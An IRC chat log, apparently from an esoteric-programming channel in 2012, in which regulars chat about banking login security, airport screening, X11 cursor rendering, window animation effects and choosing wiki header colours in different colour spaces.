14:27:02 <elliott> Don't I have to ANONYMISE THEM for PRIVACY or something?!?!?!??!
14:28:15 <oerjan> elliott: _technically_ all the information is publically available, isn't it? just not conveniently.
14:28:48 <elliott> oerjan: It's also not tied to the user IDs, so there's very little privacy being violated. :p
14:29:19 -!- hagb4rd has joined.
14:29:57 <elliott> But, you know. *Someone* has 1901 edits.
14:30:14 <elliott> That violates oerjan's privacy by revealing the number, even if the fact that it's oerjan's edit count isn't revealed at all.
14:30:21 -!- derdon has joined.
14:30:37 <elliott> It would be irresponsible of me to reveal that data, therefore, as it would be a serious violation of oerjan's trust.
14:31:03 <elliott> Don't worry, if I wanted to be malicious I'd start logging all your passwords or something. Er, did I say something?
14:31:33 <Vorpal> elliott, have you tried the technic mod pack for minecraft?
14:31:35 <elliott> Remember, folks, never use the same password on multiple sites!
14:31:51 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
14:32:46 <elliott> I get the feeling oerjan reuses passwords.
14:33:00 <Vorpal> it is kind of cool, but the main problem is that towards the mid game you are 1) want resources 2) have tools that can do significant damage to the landscape. Which means that whatever place you decide to mine at will end up looking like a wasteland.
14:34:18 <Vorpal> which you realise didn't look so good next to your nice house
14:34:48 <elliott> "Church encoding (aka Visitor Pattern)"
14:35:05 <oerjan> but it's a sound policy: i reuse a _different_ password for net banking and public services. the kind that just yesterday managed to give thousands of people access to a single person's tax reporting account.
14:35:38 <Vorpal> elliott, btw, does mediawiki store passwords hashed?
14:37:13 <oerjan> (yesterday was supposed to be the day of the year most people in norway can start doing tax reports, and the system is generally horribly flaky that day.)
14:37:19 <fizzie> oerjan: These are the (length-sorted) lines you've said in my logs where there's just ten or more A's and nothing else: http://p.zem.fi/ca24
14:37:21 <Vorpal> btw I think I only reused passwords once in recent years, and that is the same local login passwords to a couple of old, rarely used computers I have. Mostly use them for when I happen to need serial ports
14:37:25 <oerjan> *reports via the internet
14:37:43 <Vorpal> oerjan, wait, net banking and password?
14:37:49 <oerjan> fizzie: that's surprisingly
14:37:54 <Vorpal> don't you use hard certificates over there?
14:38:00 <oerjan> Vorpal: there's a password + a hard certificate.
14:38:34 <oerjan> *fizzie: that's surprisingly few
14:38:50 <Vorpal> fizzie, since the channel started?
14:39:05 <Vorpal> (well, since you started logging)
14:39:24 <elliott> oerjan: A hard certificate? Really?
14:39:32 <fizzie> Vorpal: Well, it should be. It could be missing some.
14:39:36 <elliott> I am not aware of those being widespread.
14:40:18 <Vorpal> elliott, for bank? Usually using challenge response. Like you get a code on screen, enter it into a small device with a keypad, and enter your personal code, then get a reply code back and enter it on the login screen
14:40:35 <fizzie> We just have boring passwords and one-time password lists.
14:40:50 <Vorpal> in my case I need my bank card in the device for it to work, the device itself is not user-specific
14:40:57 <fizzie> Though I think some bank had some sort of a beta test of a device.
14:41:01 <elliott> Vorpal: No, not "usually".
14:41:08 <elliott> Approximately nobody does that.
14:41:43 <oerjan> elliott: i was using it in a general sense: it's a small device into which my bank/visa card enters and then you push a button and it gives a series of digits.
14:41:50 <Vorpal> elliott, I remember that a few years back there was a lot of articles in the news papers about the bad security with one time code pads and such and that prompted most banks to switch to hard certificates
14:41:59 <elliott> fizzie: oerjan: From the glogbot logs: http://sprunge.us/HOZC
14:42:17 <elliott> Vorpal: Maybe in Scandinavia. It's just passwords + security question here.
14:42:21 <Vorpal> oerjan, so not challenge response?
14:42:34 <fizzie> Well, it looks rather similar.
14:43:00 <elliott> I don't really see what the point of an involved security system for your online banking is if you use a credit card.
14:43:15 <elliott> Like leaving the door open but reinforcing your windows with unobtanium.
14:43:22 <oerjan> Vorpal: no. no information passes from the web to the device.
14:43:32 <Vorpal> elliott, the chipsets are supposed to be safer than the old magnetic strip thingy
14:44:02 <oerjan> they're announcing some new system to replace that, anyhow. _before_ this we just had a card with a heap of one-time numbers on it.
14:44:19 <elliott> Vorpal: ?! Dude, it's not the cards themselves that are the problem.
14:44:37 <Vorpal> and nowdays it is all chipsets in Sweden. They passed a law that said that if a shop used magnetic strip and that led to issues then the shop is responsible for any losses. That made shops switch over rather fast.
14:44:45 <Vorpal> not sure how much better it actually is
14:44:50 <elliott> If you pay someone with a credit card, they know your credit card details.
14:45:03 <elliott> Therefore whenever you pay anyone with a credit card, you're giving them your credit card.
14:45:10 <elliott> There is no security whatsoever.
14:45:52 <oerjan> here's a norwegian newspaper article on yesterday's scandal btw http://www.dagbladet.no/2012/03/20/nyheter/innenriks/altinn/selvangivelsen/20770039/
14:46:15 <fizzie> That's just a backwards compatibility thing. It'd go away if you'd actually need to properly use the card when buying stuff with it.
14:46:37 <fizzie> Anyway, I've seen more MasterCard SecureCode / Visa VerifiedByVisa things on the web-web lately.
14:46:40 <Vorpal> elliott, what if you moved the keypad and display to the card itself, wouldn't that be safer? Then you could just sign a request on the card and the bank could verify it
14:47:18 <elliott> fizzie: Of course it's a fixable problem.
14:47:24 <elliott> That doesn't make it not a problem.
14:47:45 <elliott> I mean, obviously you can just make a mini-device with a private key and the like.
14:48:12 <Vorpal> oh for web transaction some banks here offer to create a special bank card number for just a single transaction. So there won't be more available than what you specify on it.
14:48:48 <fizzie> The single-use numbers I think quite many places offer.
14:49:23 <fizzie> I think I remember some bank (probably not Finnish) having a test of the system where you actually see the amount you're authorizing when you're getting the authentication code for a net-bank transaction. That's part of some of the standards, IIRC.
14:51:06 <Vorpal> anyway with the "verified by visa" thing it redirects me to my internet bank and I have to use the hard certificate I think.
14:51:38 <Vorpal> yeah, pretty sure it was with "verified by visa" stuff
14:51:45 <oerjan> elliott: oh also by net banking i'm not referring to buying things on the web, as i never do that (i think i've bought a plane ticket _once_). i'm referring to actually logging into my bank account for paying bills and stuff.
14:52:24 <oerjan> elliott: not any more, no.
14:52:47 <Vorpal> elliott, actually since internet banking offers a lot more than just taking money out of the account your card is tied to, your analogy with the reinforced windows is not quite accurate
14:53:08 <oerjan> it was back in 2002-2004 or so, before the security insanity had really hit here
14:54:42 <Vorpal> you can access all accounts from the internet bank, and stocks (if you have any, I seen a link for it in the menu, never used that). Probably even more stuff.
14:56:34 <fizzie> elliott: Anyway speaking of credit card security, we did in fact have to buy a plane ticket via a travel agency recently (all purchases of the university have to go through it for businessy reasons, and we wanted my wife's ticket in it for the same order), and it was certainly very safe: they wanted the CVV2 number sent in a *different* email than rest of the card details. (Or faxed.)
14:57:27 <oerjan> Vorpal: yeah like that in my bank too, i sold off my stocks that way.
14:57:52 <fizzie> elliott: I'm not entirely sure, it was handled by our department secretary.
14:57:57 <oerjan> yeah i did. well fund options.
14:58:12 <oerjan> fund shares, i guess it is.
14:58:29 <elliott> oerjan: I doubt the "security insanity" has even vaguely hit Norway.
14:58:48 <Vorpal> oerjan, oh and insurances and borrowing money too
14:59:08 <oerjan> elliott: well relatively speaking, but i think you can get part of your luggage confiscated for stupid reasons here too.
14:59:37 <Vorpal> <elliott> oerjan: I doubt the "security insanity" has even vaguely hit Norway. <-- what?
15:00:02 <oerjan> although i wouldn't really _know_, since i don't use planes any more :P
15:00:44 <oerjan> i suspect it mostly gets bad only if your plane trip leaves the country
15:00:55 <fizzie> oerjan: Also here's a less picky list: http://p.zem.fi/o1ug
15:01:04 <oerjan> (and of course if you get anywhere near the US, all bets are off)
15:02:16 <elliott> fizzie: Now do all lines with "A" in them.
15:03:21 <Vorpal> btw the security if you are not flying with airlines is basically nil. Was up in a small Cessna a couple of years ago (2? 3?) and there was no security to speak of.
15:03:43 <Vorpal> (didn't leave the country though)
15:03:46 <fizzie> Quite a lot of it is just "AnMaster:" prefixes.
15:04:00 <Vorpal> fizzie, what if you filter those out?
15:04:15 <sebbu> Vorpal, normal, they put security in airports because it's more easy and get seen easily, but elsewhere... don't do much about it
15:04:52 <fizzie> 4933 with 'A' but not 'AnMaster'.
15:04:57 <Vorpal> sebbu, well, it was at an airport. But with the local flight club. Happens to be located right next to the airport, and share the runways with it.
15:05:26 <elliott> <Vorpal> btw the security if you are not flying with airlines is basically nil. Was up in a small Cessna a couple of years ago (2? 3?) and there was no security to speak of.
15:05:41 <elliott> Vorpal: You realise this is because people don't try to hijack small Cessnas, right?
15:06:14 <Vorpal> elliott, of course, but someone could hijack a business jet. That could still cause significant damage.
15:06:20 <Vorpal> not nearly as much of course
15:06:28 <Vorpal> of course the chance is pretty low
15:06:57 <elliott> They don't let anyone on to business jets in return for a fee. :p
15:07:13 <Vorpal> elliott, err I meant private business jets
15:08:10 <fizzie> The dreaded mad millionaire problem, yes.
15:08:23 <elliott> Vorpal: Yes, my point is that terrorists don't generally find themselves with a good reason to be on a business jet.
15:08:40 <elliott> You don't need a reason to be on a commercial flight.
15:09:49 <oerjan> i'd sort of figured the reason they don't put business jets through the security stuff is because there are rich people involved
15:10:09 <Vorpal> probably that helps as well yes
15:11:15 <elliott> But it's not surprising that the "security" is done for commercial flights in airports; if it was effective, that's just by far the most reasonable place to put it.
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15:11:35 <Vorpal> elliott, I wonder how effective it actually is?
15:12:40 <elliott> Vorpal: The TSA stuff? It isn't.
15:13:13 <fizzie> It's effective for giving people cancer. (Okay, not really.)
15:13:22 <elliott> Vorpal: Does the Swedish government never do stupid things?
15:13:38 <Vorpal> elliott, of course it does
15:13:55 <oerjan> fizzie: supposedly the screening has less effect than being exposed to cosmic rays high in the atmosphere during the flight itself
15:13:56 <elliott> I mean, you can thank 9/11.
15:15:19 <fizzie> oerjan: Right; so it's not exactly effective. I'm sure if they'd contact some proper engineers they could make a far more efficient cancer machine.
15:21:00 <elliott> fizzie: They did that once: http://en.wikipedia.org/wiki/Therac-25
15:21:18 <fizzie> I remember that thing.
15:21:23 <elliott> fizzie: Sadly it also failed to give anyone cancer, seeing as they already had it.
15:21:35 <fizzie> It did manage to kill people, though.
15:22:09 <elliott> Non-real-time software is nice. Lower risk, and all that.
15:22:16 <fizzie> The details of the OS that you get from the report were interesting; it was quite the spaghetti code, with their own scheduler and so on.
15:23:20 <elliott> I'd hate to be one of the engineers on that project.
15:23:29 <elliott> Not that the guilt isn't deserved.
15:24:48 <fizzie> I'd hate to be the guy who's fault is it that when you beg the killer robot for mercy, it will just go all "PLEASE ENUNCIATE MORE CLEARLY" and resume killing you.
15:25:14 <fizzie> I'd hate to be the guy who writes "who's" like that.
15:26:12 <quintopia> but you are the guy BWAHAHAHA shun the nonbeliever shuuuuuunnnnnnn
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15:44:35 <Vorpal> how is the mouse cursor drawing handled in X11? It is after all a form of compositing really (especially with antialiased cursors with smooth edges), but it was supported long before more general compositing was supported. So at which layer is it handled?
15:45:44 <elliott> I don't think there are any "smooth"-edged cursors without compositing.
15:45:54 <ais523> Vorpal: the GPU renders the cursor, AFAIK
15:46:07 <ais523> the reason I think this is that I've seen GPU crashes that render nothing on the system working /but/ the mouse cursor
15:46:17 <fizzie> At least I recall a couple of graphics drivers having cursor-specific options.
15:46:27 <elliott> ais523: That's a bit modern-day for Vorpal's question.
15:46:34 <Vorpal> so a sprite of some sort
15:46:44 <elliott> But OTOH I suspect that was how it was done in the olden days, too.
15:46:49 <fizzie> E.g. 'man radeon' -> "SWcursor boolean: Selects software cursor. The default is off."
15:46:51 <elliott> Perhaps not the stretch in-between.
15:47:36 <Vorpal> well, that seems reasonable
15:49:15 <fizzie> "X provides a set of standard cursor shapes in a special font named cursor. Applications are encouraged to use this interface for their cursors because the font can be customized for the individual display type. The shape argument specifies which glyph of the standard fonts to use." That's the Xlib interface view of it, from man XCreateFontCursor. (But you can also create cursors from a Pixmap ...
15:49:22 <fizzie> ... or any regular X font.)
15:49:36 <fizzie> Presumably there's also something more modern.
15:50:15 <Vorpal> anyway, I seem to remember smooth cursors back ages ago. Pretty sure it was possible back on xfree86 even
15:52:54 <elliott> Vorpal: Yes, but "smooth" != "translucent".
15:53:10 <fizzie> The 'Render' extension -- the thing that does composition -- has cursor loading functions too.
15:53:16 <elliott> I'm pretty sure the standard GNOME 2 white cursor thing had sharp edges, it was just antialiased inside.
15:53:26 <elliott> And it was rounded off a bit so it looked quite smooth.
15:53:34 <Vorpal> trying to remember what it looked like in KDE 2
15:53:40 <fizzie> "When using images loaded from files, Xcursor prefers to use the Render extension CreateCursor request if supported by the X server. Where not supported, Xcursor maps the cursor image to a standard X cursor and uses the core CreateCursor request."
15:53:41 <elliott> http://3.bp.blogspot.com/_JSR8IC77Ub4/TSSKKbXaWCI/AAAAAAAABlY/ch99AiNX2Sc/s1600/Ubuntu-desktop-2-410-20080706.png -- it can be seen here
15:53:51 <elliott> I guess there is a shadow.
15:53:59 <elliott> fizzie: Ah, maybe it's that then.
15:54:46 <fizzie> XRender dates back to about 2000, "first released with XFree86 version 4.0.1".
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15:56:46 <ais523> bleh, my zoom-in-and-see-the-individual-pixels window manager trick doesn't work on the cursor
15:57:42 <fizzie> From the Xcursor lib again: "XcursorBool XcursorSupportsARGB (Display *dpy): Returns whether the display supports ARGB cursors or whether cursors will be mapped to a core X cursor."
15:58:06 <Vorpal> ais523, a screen magnifier? Or something else?
15:58:25 <ais523> Vorpal: it's one of the compiz features
15:58:32 <ais523> most of them, I'm not even sure if they have an intended use
15:58:36 <ais523> they were just added because they could
15:58:53 <ais523> e.g. I can make a window black-and-white using super-shift-mousewheel
15:59:04 <ais523> which is nice on occasion, if something's too brightly colored
15:59:10 <Vorpal> heh, I don't use compiz, it messed up with opengl stuff for me in the past. And nowdays I just use xfwm4 or whatever it is called.
15:59:13 <fizzie> So it does sound like on the protocol level, you have a non-translucent CreateCursor, and then the XRender extension CreateCursor that can do ARGB images; and then it is -- or at least was -- the graphics driver's job to keep the cursor rendered.
15:59:34 <Vorpal> ais523, anyway, what happened to the cursor when you used that trick?
15:59:41 <ais523> it just kept moving around as normal
15:59:43 <elliott> xfwm4 does compositing too.
15:59:48 <ais523> oh, you mean zooming in?
15:59:51 <ais523> it stayed the same size
15:59:57 <Vorpal> elliott, right, but it doesn't do the silly stuff compiz does
15:59:59 <ais523> and moving it changed the point the screen was zoomed around
16:00:19 <Vorpal> as far as I know at least
16:00:22 <fizzie> I was helping a guy at the department few weeks back, I think he had ALL THE EFFECTS on. At least when I moved a terminal window around, it wiggled like it was made out of jelly.
16:01:46 <ais523> fizzie: that's actually in the default set when you ask for high effects
16:02:01 <Vorpal> what do you mean by wiggled?
16:02:09 <Vorpal> like... shakes when you move it?
16:02:47 <ais523> Vorpal: there's a bit of a timelag on pixels further from the mouse
16:02:53 <ais523> so it looks like the window's slightly elastic
16:03:08 <Vorpal> utterly pointless as far as I can tell
16:03:31 <ais523> Vorpal: it looks nicer than the window staying rigid
16:03:44 <ais523> but yes, there's no real need for it
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16:04:04 <Vorpal> I mean, if it ends up looking slightly wider than it is, you can't really do precise placement
16:04:36 <fizzie> It settles down relatively fast if you don't move the mouse. But still.
16:04:44 <elliott> hmm, Wikipedia (generally) bans linking to forks of Wikipedia
16:04:55 <fizzie> Personally I think it just looks like the window is somehow broken or melted. Makes me think "you should probably get that checked out".
16:05:04 <Vorpal> that means waiting, any special effect that takes away time that I could have spent doing other stuff is bad.
16:05:09 <elliott> what about wikis with substantial content with a specific focus but that are based on Wikipedia's articles to start with?
16:05:15 <elliott> I guess that would count as one of the exceptiosn
16:06:23 <Vorpal> like minimizing, OS X has one of the worst minimizing effects I ever seen (is it default btw? I know you can turn it off but still, why even put that in there)
16:06:46 <fizzie> The genie is I think the default.
16:06:55 <Vorpal> right, and it is horrible
16:07:10 <fizzie> It had a second one, at least in 10.4.
16:07:59 <fizzie> I suppose you know of the easter egg that you can slow down the genie by a factor of ten or so? And the not-so-easter-egg thing that you can freeze windows in the middle of the effect so that they're stuck in that shape, and then keep using it?
16:08:12 <Vorpal> nope, don't know either of those
16:08:25 <fizzie> ctrl-shift-minimize or something does the slowdown.
16:08:30 <Vorpal> my experience with OS X is limited to helping people (family) who have macs.
16:08:31 <elliott> You can't turn off the effect (through the standard interface).
16:08:35 <elliott> fizzie: It's not an easter egg.
16:08:39 <elliott> You can do that for anything that animates.
16:08:54 <elliott> It was used to demonstrate Expose and the like, IIRC.
16:09:03 <elliott> The freezing thing is fun, though.
16:09:15 <Vorpal> <elliott> You can't turn off the effect (through the standard interface). <-- thought there was an alternative effect?
16:09:17 <elliott> Unfortunately it doesn't quite map the geometry.
16:09:19 <Vorpal> or have they removed that?
16:09:30 <Vorpal> the alternative was significantly better at least
16:10:07 <Vorpal> still, on the computer I'm writing this on I have no effect at all when minimizing/maximising.
16:10:15 <Vorpal> anyway, how do you do the freezing?
16:11:34 <Vorpal> does that mean the dock handles window manager style tasks?
16:12:52 <elliott> Vorpal: Well, minimised windows go into the Dock.
16:13:03 <elliott> So it makes sense for the Dock to handle it.
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16:13:29 <Vorpal> indeed, but I would have assumed the actual minimising part would be handled by the equivalent of the window manager.
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16:14:09 <elliott> Well, the Dock also enlargenifies to make a space for it while the animation is happening.
16:14:17 <elliott> So you'd need quite some coordination with WindowServer to manage that.
16:14:22 <elliott> Arguably WindowServer should display the dock.
16:14:53 <Vorpal> well you need that already I assume? Or does the dock handle the compositing of the window as well?
16:15:47 <elliott> Why does that matter? The Dock just has to morph it.
16:16:45 <Vorpal> how is the actual morphing done? The obvious choice to me is doing it by a matrix on the GPU
16:17:17 <Vorpal> which seems to be the realm of the window manager
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16:18:51 <elliott> Vorpal: Core Animation, one presumes.
16:19:28 <elliott> "Core Animation first appeared in Mac OS X v10.5" -- never mind, must be something else.
16:20:07 <Vorpal> also can any program mess with the window of another program like that? Or is it just the dock?
16:20:21 <Vorpal> the security model seems rather bad if any program can do that
16:20:33 <Vorpal> not that the X11 security model is any better
16:21:11 <elliott> Vorpal: There are rather bigger problems with the security model.
16:21:21 <elliott> For instance, any windowing system that lets any application take a screenshot has no security.
16:21:35 <Vorpal> indeed, that should require special privileges
16:23:16 <Vorpal> is there any secure windowing system at all?
16:23:24 <Vorpal> (that currently exists I mean)
16:23:32 <hagb4rd> you want to modify the animation on the layer vorpal?
16:23:45 <Vorpal> elliott, do you happen to know of one?
16:23:48 <elliott> I'm sure one of the capability-based OSes has had a windowing system.
16:24:14 <elliott> NeWS might have been secure, too? All I know about NeWS is that it's about 15x better than X.
16:24:28 <Vorpal> that isn't difficult to achieve
16:25:42 <elliott> Sorry, I left off "thousand".
16:26:02 <fizzie> If you canvas.drawImage(img) where img.src is cross-origin, it clears the origin-clean flag, and thereafter you can never call .toDataURL() or .getPixelData() on that canvas.
16:26:23 <Vorpal> btw I found something interesting recently, it seems steam automatically adds exceptions to the windows firewall for installed games. To allow them to listen on any port on either tcp or udp
16:26:27 <fizzie> Browsers are so security-minded.
16:26:40 <Vorpal> it does this without asking the user or there even being an option to disable the behaviour as far as I can tell
16:27:17 <elliott> fizzie: A known exploit, I take it?
16:27:42 <elliott> (Also a textbook example of how ad-hoc security is completely unworkable.)
16:27:57 <Vorpal> hm, has it been used in any exploit?
16:28:02 <elliott> Vorpal: Why would you use the Windows Firewall?
16:28:14 <Vorpal> elliott, well, it is there by default in windows.
16:28:38 <Vorpal> (and it isn't quite as bad in windows 7 as it was in XP)
16:28:41 <elliott> Vorpal: So is that fucking animated dog.
16:29:08 <hagb4rd> would you mind to drop me a short line on what you want to do vorpal? would be so much more fun to get a point
16:29:11 <Vorpal> the machine is behind a real firewall (and NAT too), but still it is interesting behaviour
16:29:25 <Vorpal> hagb4rd, uh? Did I want to do something?
16:29:48 <Vorpal> well, I do want to breath, quite often in fact.
16:30:01 <Vorpal> (wth are you going on about?)
16:31:22 <hagb4rd> you catched my attention while discussing this animation thing.. so i thought you're out to experiment with this or sth
16:31:32 <Vorpal> hm, I just sprinted into a bucket in Skyrim by mistake, it went flying several hundred meters, over a rather tall mountain, before I lost sight of it. Trying to find where it landed now...
16:31:57 <Vorpal> hagb4rd, I believe we discussed terrible animations of compiz, then OS X?
16:33:18 <Vorpal> To be fair it was a magical "whirlwind sprint" (lowest "level"), but even so that result was way out of proportion to the force I hit the object with.
16:33:55 <elliott> It's a: new user account on the: esoteric languages wiki.
16:34:41 <Vorpal> or was that just a weird way of announcing it?
16:50:58 <elliott> No, I was feeling very: fizzie.
16:53:10 <Vorpal> RocketJSquirrel, ah hi Gregor. Looks like apropos doesn't work on hackego
16:53:20 <HackEgo> apropos: can't open the manpath configuration file /etc/manpath.config
16:53:35 <elliott> Neither does man. Oh noes.
16:53:50 <elliott> fizzie: Hey, can you use SCIENCE to impale some colours?
16:54:06 <Vorpal> presumably whatis doesn't work either
16:54:11 <HackEgo> whatis: can't open the manpath configuration file /etc/manpath.config
16:54:21 <HackEgo> cs \ de \ es \ fi \ fr \ fr.ISO8859-1 \ fr.UTF-8 \ gl \ hu \ id \ it \ it.ISO8859-1 \ it.UTF-8 \ ja \ ko \ man1 \ man2 \ man3 \ man4 \ man5 \ man6 \ man7 \ man8 \ nl \ pl \ pl.ISO8859-2 \ pl.UTF-8 \ pt \ pt_BR \ ru \ sv \ tr \ zh_CN \ zh_TW
16:54:40 <Vorpal> well the man pages are there, just not the config I guess
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17:06:33 <elliott> https://upload.wikimedia.org/wikipedia/commons/a/af/AmsterdamIsl_Map.png "La Grande Marmite"
17:07:00 <Taneb> That's suspiciously close to wikipedia
17:07:22 <Taneb> I'm gonna be so glad come Easter
17:08:19 <Taneb> Only God and he who challenged by this task to begin with.
17:08:24 -!- hagb4rd has joined.
17:08:29 <Taneb> WHO WEARS A PICTURE OF JESUS ON HIS CROTCH
17:10:51 * sebbu ressussicate himself using post-mortem necromancy
17:11:01 <elliott> fizzie: Kick sebbu for unlicensed self-revival.
17:11:13 <elliott> You need a permit for that kinda shit.
17:11:40 <sebbu> my god/religion allows it
17:12:16 <elliott> fizzie is your new god now.
17:13:22 <sebbu> i'm not apostate, just from a different religion
17:13:47 <sebbu> didn't abandoned something i didn't belonged to :p
17:14:30 <sebbu> there's lots of different religions in the world :p
17:14:34 <elliott> The only valid religion is fungotism, dammit!
17:14:35 <fungot> elliott: now that one is ' no' isn't concrete enough for me
17:15:25 <fungot> elliott: i've heard sarahbot is r5rs's bitch.
17:15:37 <sebbu> Phantom_Hoover, my true faith was different
17:15:55 <sebbu> which proove yours is wrong, aka not THE true faith
17:16:06 <sebbu> at most A true faith
17:16:16 <RocketJSquirrel> Sarahbot, thy code art in Scheme, for thou art the bitch of R5Rs.
17:16:54 <elliott> The Revised Revised Revised Revised Revised Report on the Algorithmic Language scheme
17:17:59 <elliott> sebbu: Have you converted to fungology yet?
17:18:05 <elliott> fungot: Tell sebbu of the true path.
17:18:06 <fungot> elliott: has anyone here ever tried to parse that
17:18:15 <sebbu> nop, ressussicated again
17:18:29 <sebbu> forgot to plug in some pain nerves that time
17:18:37 <elliott> Phantom_Hoover: Use the POWER OF FUNGOT to replace sebbu with a fnord already.
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17:22:16 <sebbu> ( http://www.fnord.org/occult/discordia/scanned/fnord.html )
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17:31:03 <itidus21> esoteric is occasionally esoteric
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18:20:34 <elliott> fizzie: Yes, COLOURS. With the U, my friend. With the U.
18:22:30 <elliott> fizzie: No, "U", as they say.
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18:22:55 <elliott> fizzie: I'm commissioning you to produce corresponding background colours for all the section header colours on http://esolangs.org/wiki/Main_Page, you see.
18:23:07 <elliott> By commissioning, I mean "delegating the job to you on IRC so I can sit back and do nothing".
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18:27:37 <fizzie> So, what, same hue and saturation but a lot lighter? (Or maybe same a*/b* chroma but more L*, or something, since CIE (L*,a*,b*) is like so perceptual.)
18:28:48 <elliott> Yes, I was hoping for something fancy and scientific.
18:29:20 <elliott> Even if that kills my dream to implement it within the MediaWiki template.
18:45:12 <fizzie> http://zem.fi/~fis/esocolor.html -- that's quickly done in HLS, with top color giving the lightness. I suppose the ones that are >= 0.90 are lighter than your already-rather-light headers.
18:45:25 <fizzie> I can do L*a*b* but I think it's dinnertime first.
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18:46:33 <elliott> Does COLOUR SCIENCE have anything to say about a nicer choice than that peach everyone dislikes?
18:46:50 <elliott> Well, the green is a bit off too. I did not: apply colour science to create these section header colours.
18:47:17 <fizzie> I can ask gcolor for "readers", "creators", "meta" and "featured". (But they'll probably all just turn out brown.)
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18:50:40 <elliott> fizzie: I was hoping for something more like "these colours are of equal perceptual intensity and all have the same 'distance' from each other" or something. :p
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18:57:20 <fizzie> I guess you could e.g. put a circle of some radius around the white point in cielab space, aligned in the equal-L* plane, and then pick the points at angles k, k+pi/2, k+pi, k+3pi/2 where k is arbitrary. Lab's *supposed* to be "perceptually uniform", in that distances in it equal perceived amount of differentness. But I'm not sure how true that actually is, and it probably won't give colors ...
18:57:27 <fizzie> ... that a graphics designer would pick.
18:57:41 <fizzie> Also if you have a too large circle you'll end up with colors not in sRGB.
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19:00:36 <elliott> fizzie: I guess HSL would be ACCEPTABLE? I don't know, the idea of one colour being less "far apart" or "more intense" than the others because of arbitrariness upsets me.
19:02:27 <olsner> how far apart can one color be?
19:02:42 <fizzie> I guess you could also just some sort of equal-saturation-and-lightness in HSL, but that's not so perceptual.
19:03:27 <elliott> fizzie: Yes, perceptuality is nice. There should be a tool for dicking about in Lab. Maybe there is.
19:04:07 <fizzie> Maybe a very good color picker dialog somewhere. I don't know of any offhand.
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19:10:05 <fizzie> Current esocolors in HLS are (100°, 83.3%, 60%), (60°, 83.3%, 100%), (45°, 86.7%, 100%) and (240°, 90%, 33.3%), but I don't really know if that tells one anything. It's really still quite closely tied to the "raw" RGB values, it's just pretending to have meaningful coordinates. (Same applies to HSV.)
19:13:13 <fizzie> Possibly in the majority of cases.
19:13:43 <fizzie> Sometimes it ends up being HLS, e.g. in Python's "colorsys" module, and that's what gcolor used, so I've been a bit stuck with it.
19:13:53 <fizzie> "colorsys" has HLS, but it also has HSV. Go figure.
19:14:50 <elliott> Well, you know what they say: haughty sandwich vixens haggle less sexily.
19:15:40 <fizzie> Maybe you need to figure out a way to put HSI in there too. (It's yet another thing with 'I' for intensity.)
19:16:09 <fizzie> They all call the 'S' part saturation, but it means different things in each three.
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19:17:34 <elliott> It *would* be nice to figure out what the True Fourth Colour is in #CEB, #FFA, ?, #DDE. But perhaps colour science is not yet ready for such problems, as they say.
19:17:58 <fizzie> You may need to ask a humanist.
19:20:17 <itidus21> if one can read the word humans one can already understand all that human's collective knowledge on the subject is, sadly
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19:24:36 <ais523> use Gregor's neural network?
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19:40:25 <itidus21> it's the attack of the bot who uses the topic and 61 as it's quit message, when it does it's dastardly quick join and exit
19:41:42 <ais523> is there even any point?
19:46:59 <itidus21> ok im liking the new look wiki to the extent that my opinion really matters
19:49:05 <itidus21> or maybe its my imagination playing trick
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20:28:06 <itidus21> torrents are like a library where all the books are on reserve
20:28:45 <itidus21> it's only natural that people can't resist such a thing
20:29:06 <oerjan> wait, what does on reserve mean again
20:29:36 <oerjan> *wait, what does on hold mean again
20:30:35 <oerjan> isn't it more like, you know, the complete opposite
20:30:45 <nortti> 01:20 <@MakeGho> what... some big guy just walked here and said, "Hi, are you a jew?" "...No" "I am." *handshake*
20:31:15 <itidus21> it means when you tell the library to keep a book off the shelf for you for you to pick it up
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20:32:11 <oerjan> itidus21: but that usually means you _cannot_ get it right now, which seems like the opposite of a torrent. but then i have no experience with torrents.
20:32:55 <olsner> it's like being in the library and the book is on hold, and you are sitting in the "books on hold" room, and your lap is the storage for the particular book you want to read next
20:32:58 <HackEgo> itidus21 just made some instant coffee.
20:33:06 <HackEgo> itidus20's entry has been censored.
20:33:23 <olsner> but actually, it's more like torrents
20:35:54 <itidus21> can safely disregard my previous nonsense.. will be replaced with..
20:36:55 <itidus21> i guess it's an engineering problem when it is necessary to add artificial constraints to a product in order to enable the producers to turn a profit
20:37:02 <oerjan> `learn itidus20 is a 7th dan of broken metaphors.
20:37:56 <olsner> oerjan: now write that as a broken metaphor
20:38:08 <oerjan> olsner: wait, it wasn't already broken?
20:38:27 <oerjan> what else would it be?
20:38:35 <olsner> hmm, but maybe we ought to leave it in the competent hands of our 7th dan broken metaphorist
20:39:19 <itidus21> If people were all already contributing to society as best as they could, would money still be necessary at all, or could people with their freetime just merrily use whatever they encounter which would probably be in abundance
20:39:51 <MDude> That depends on how you define contribution to society.
20:40:29 <itidus21> it sounds awful though i know.. the thought of a whole life without any hope of lawn chairs in hawaii sipping alcohol and watching bikini clad women dance with maracas
20:41:01 <oerjan> MDude: highest amateur rank in many martial arts
20:41:53 <oerjan> or wait, scratch the highest, that varies widely.
20:42:40 <itidus21> MDude: lets say.. one time of day for production.. one time of day for consumption
20:42:47 <oerjan> in other news, i hate it when my laptop decides to burn cpu just as i'm trying to google something.
20:43:02 <itidus21> during production time the only consumables are things which are used to produce things
20:43:20 <MDude> That sounds a lot like having a job.
20:43:51 <itidus21> except theres no money... so noone is selling anything during the day
20:43:59 <itidus21> and its illegal to consume during working hours
20:44:20 <itidus21> except to the extent you need to work optimally
20:44:25 <MDude> I'd say most economic theories work if you presume human nature magically conform to thier expectations.
20:44:34 <nortti> did you just describe marxist socislism?
20:44:42 <MDude> No I mean all of them.
20:44:50 <oerjan> itidus21: congratulations for reinventing 1918-1920 communism, i think. (even the communists had to scrap not using money)
20:44:53 <MDude> Oh wait, you weren't talking to me.
20:45:29 <MDude> But yeah, it's a metter of determining what you need.
20:46:09 <MDude> If you can presume everyone jsut knows what they need to do, and does it, then you don't need much of an economy.
20:46:27 <itidus21> MDude: but that makes thinking boring
20:46:40 <itidus21> if things have to actually apply
20:46:59 <oerjan> itidus21: the ability to decentralize economic decisions is what makes money a brilliant, if imperfect idea.
20:47:06 <nortti> oerjan: actually that is not marxist-leninist communism, but marxist socialism (I have read communistic manifesto)
20:47:38 <oerjan> nortti: i wasn't going for accuracy there
20:47:49 <oerjan> the dates are probably wrong too
20:47:58 <itidus21> it is best if one does not give too much attention to my posts
20:48:54 <itidus21> any system where everyone has to contribute would make my life more difficult honestly
